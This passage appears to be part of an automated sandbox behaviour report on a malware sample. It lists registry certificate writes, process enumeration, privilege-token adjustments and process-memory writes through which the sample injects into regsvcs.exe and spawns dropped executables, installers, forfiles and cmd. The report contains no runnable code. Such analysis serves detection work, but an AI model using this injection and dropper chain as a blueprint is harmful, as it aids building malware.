bc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 5c00000001000000040000000010000004000000010000001000000078f2fcaa601f2fb4ebc937ba532e7549030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e41d0000000100000010000000a86dc6a233eb339610f3ed414927c559140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac899880b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e1996190000000100000010000000ffac207997bb2cfe865570179ee037b92000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4 C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\u1sg.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\u1sg.0.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\u1sg.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\u1sg.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\system32\msiexec.exe N/A
N/A N/A C:\Windows\system32\msiexec.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
N/A N/A C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
N/A N/A C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
N/A N/A C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
N/A N/A C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
N/A N/A C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
N/A N/A C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
N/A N/A C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
N/A N/A C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
N/A N/A C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
N/A N/A C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
N/A N/A C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
N/A N/A C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
N/A N/A C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
N/A N/A C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
N/A N/A C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A
N/A N/A C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A

Suspicious behavior: LoadsDriver

Description Indicator Process Target
N/A N/A N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeCreateTokenPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeMachineAccountPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeTcbPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeCreatePermanentPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeChangeNotifyPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeSyncAgentPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeEnableDelegationPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeImpersonatePrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeCreateGlobalPrivilege N/A C:\Windows\SYSTEM32\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4040 wrote to memory of 4916 N/A C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
PID 4040 wrote to memory of 4916 N/A C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
PID 4040 wrote to memory of 1144 N/A C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
PID 4040 wrote to memory of 1144 N/A C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
PID 4040 wrote to memory of 1144 N/A C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
PID 4040 wrote to memory of 1144 N/A C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
PID 4040 wrote to memory of 1144 N/A C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
PID 4040 wrote to memory of 1144 N/A C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
PID 4040 wrote to memory of 1144 N/A C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
PID 4040 wrote to memory of 1144 N/A C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
PID 1144 wrote to memory of 2320 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe C:\Users\Admin\Pictures\xHSuJrJS9vwhsvRTR3eTrJtk.exe
PID 1144 wrote to memory of 2320 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe C:\Users\Admin\Pictures\xHSuJrJS9vwhsvRTR3eTrJtk.exe
PID 1144 wrote to memory of 2320 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe C:\Users\Admin\Pictures\xHSuJrJS9vwhsvRTR3eTrJtk.exe
PID 1144 wrote to memory of 1892 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe
PID 1144 wrote to memory of 1892 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe
PID 1144 wrote to memory of 1892 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe
PID 1892 wrote to memory of 3468 N/A C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe
PID 1892 wrote to memory of 3468 N/A C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe
PID 1892 wrote to memory of 3468 N/A C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe
PID 1892 wrote to memory of 4744 N/A C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\6Hu1t4TRKcdzy4v1abT8sdrW.exe
PID 1892 wrote to memory of 4744 N/A C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\6Hu1t4TRKcdzy4v1abT8sdrW.exe
PID 1892 wrote to memory of 4744 N/A C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\6Hu1t4TRKcdzy4v1abT8sdrW.exe
PID 2320 wrote to memory of 2972 N/A C:\Users\Admin\Pictures\xHSuJrJS9vwhsvRTR3eTrJtk.exe C:\Users\Admin\AppData\Local\Temp\u1sg.0.exe
PID 2320 wrote to memory of 2972 N/A C:\Users\Admin\Pictures\xHSuJrJS9vwhsvRTR3eTrJtk.exe C:\Users\Admin\AppData\Local\Temp\u1sg.0.exe
PID 2320 wrote to memory of 2972 N/A C:\Users\Admin\Pictures\xHSuJrJS9vwhsvRTR3eTrJtk.exe C:\Users\Admin\AppData\Local\Temp\u1sg.0.exe
PID 1892 wrote to memory of 4536 N/A C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe
PID 1892 wrote to memory of 4536 N/A C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe
PID 1892 wrote to memory of 4536 N/A C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe
PID 4536 wrote to memory of 2292 N/A C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe
PID 4536 wrote to memory of 2292 N/A C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe
PID 4536 wrote to memory of 2292 N/A C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe
PID 1144 wrote to memory of 4524 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe C:\Users\Admin\Pictures\fzjvJcnlDLmOSokrFJQkEgGJ.exe
PID 1144 wrote to memory of 4524 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe C:\Users\Admin\Pictures\fzjvJcnlDLmOSokrFJQkEgGJ.exe
PID 1144 wrote to memory of 4524 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe C:\Users\Admin\Pictures\fzjvJcnlDLmOSokrFJQkEgGJ.exe
PID 1144 wrote to memory of 3148 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe C:\Users\Admin\Pictures\zTyJM5hOpuGaK7i31uroEAKP.exe
PID 1144 wrote to memory of 3148 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe C:\Users\Admin\Pictures\zTyJM5hOpuGaK7i31uroEAKP.exe
PID 1144 wrote to memory of 3148 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe C:\Users\Admin\Pictures\zTyJM5hOpuGaK7i31uroEAKP.exe
PID 2320 wrote to memory of 1440 N/A C:\Users\Admin\Pictures\xHSuJrJS9vwhsvRTR3eTrJtk.exe C:\Users\Admin\AppData\Local\Temp\u1sg.1.exe
PID 2320 wrote to memory of 1440 N/A C:\Users\Admin\Pictures\xHSuJrJS9vwhsvRTR3eTrJtk.exe C:\Users\Admin\AppData\Local\Temp\u1sg.1.exe
PID 2320 wrote to memory of 1440 N/A C:\Users\Admin\Pictures\xHSuJrJS9vwhsvRTR3eTrJtk.exe C:\Users\Admin\AppData\Local\Temp\u1sg.1.exe
PID 4524 wrote to memory of 2584 N/A C:\Users\Admin\Pictures\fzjvJcnlDLmOSokrFJQkEgGJ.exe C:\Users\Admin\AppData\Local\Temp\7zSE1B5.tmp\Install.exe
PID 4524 wrote to memory of 2584 N/A C:\Users\Admin\Pictures\fzjvJcnlDLmOSokrFJQkEgGJ.exe C:\Users\Admin\AppData\Local\Temp\7zSE1B5.tmp\Install.exe
PID 4524 wrote to memory of 2584 N/A C:\Users\Admin\Pictures\fzjvJcnlDLmOSokrFJQkEgGJ.exe C:\Users\Admin\AppData\Local\Temp\7zSE1B5.tmp\Install.exe
PID 3148 wrote to memory of 1964 N/A C:\Users\Admin\Pictures\zTyJM5hOpuGaK7i31uroEAKP.exe C:\Users\Admin\AppData\Local\Temp\7zSE3A9.tmp\Install.exe
PID 3148 wrote to memory of 1964 N/A C:\Users\Admin\Pictures\zTyJM5hOpuGaK7i31uroEAKP.exe C:\Users\Admin\AppData\Local\Temp\7zSE3A9.tmp\Install.exe
PID 3148 wrote to memory of 1964 N/A C:\Users\Admin\Pictures\zTyJM5hOpuGaK7i31uroEAKP.exe C:\Users\Admin\AppData\Local\Temp\7zSE3A9.tmp\Install.exe
PID 1964 wrote to memory of 1956 N/A C:\Users\Admin\AppData\Local\Temp\7zSE3A9.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 1964 wrote to memory of 1956 N/A C:\Users\Admin\AppData\Local\Temp\7zSE3A9.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 1964 wrote to memory of 1956 N/A C:\Users\Admin\AppData\Local\Temp\7zSE3A9.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 2584 wrote to memory of 4548 N/A C:\Users\Admin\AppData\Local\Temp\7zSE1B5.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 2584 wrote to memory of 4548 N/A C:\Users\Admin\AppData\Local\Temp\7zSE1B5.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 2584 wrote to memory of 4548 N/A C:\Users\Admin\AppData\Local\Temp\7zSE1B5.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 1964 wrote to memory of 2332 N/A C:\Users\Admin\AppData\Local\Temp\7zSE3A9.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 1964 wrote to memory of 2332 N/A C:\Users\Admin\AppData\Local\Temp\7zSE3A9.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 1964 wrote to memory of 2332 N/A C:\Users\Admin\AppData\Local\Temp\7zSE3A9.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 1144 wrote to memory of 2868 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe C:\Users\Admin\Pictures\73weWIzju6ojmzZLpcW37C8r.exe
PID 1144 wrote to memory of 2868 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe C:\Users\Admin\Pictures\73weWIzju6ojmzZLpcW37C8r.exe
PID 2584 wrote to memory of 2664 N/A C:\Users\Admin\AppData\Local\Temp\7zSE1B5.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 2584 wrote to memory of 2664 N/A C:\Users\Admin\AppData\Local\Temp\7zSE1B5.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 2584 wrote to memory of 2664 N/A C:\Users\Admin\AppData\Local\Temp\7zSE1B5.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 1956 wrote to memory of 4608 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
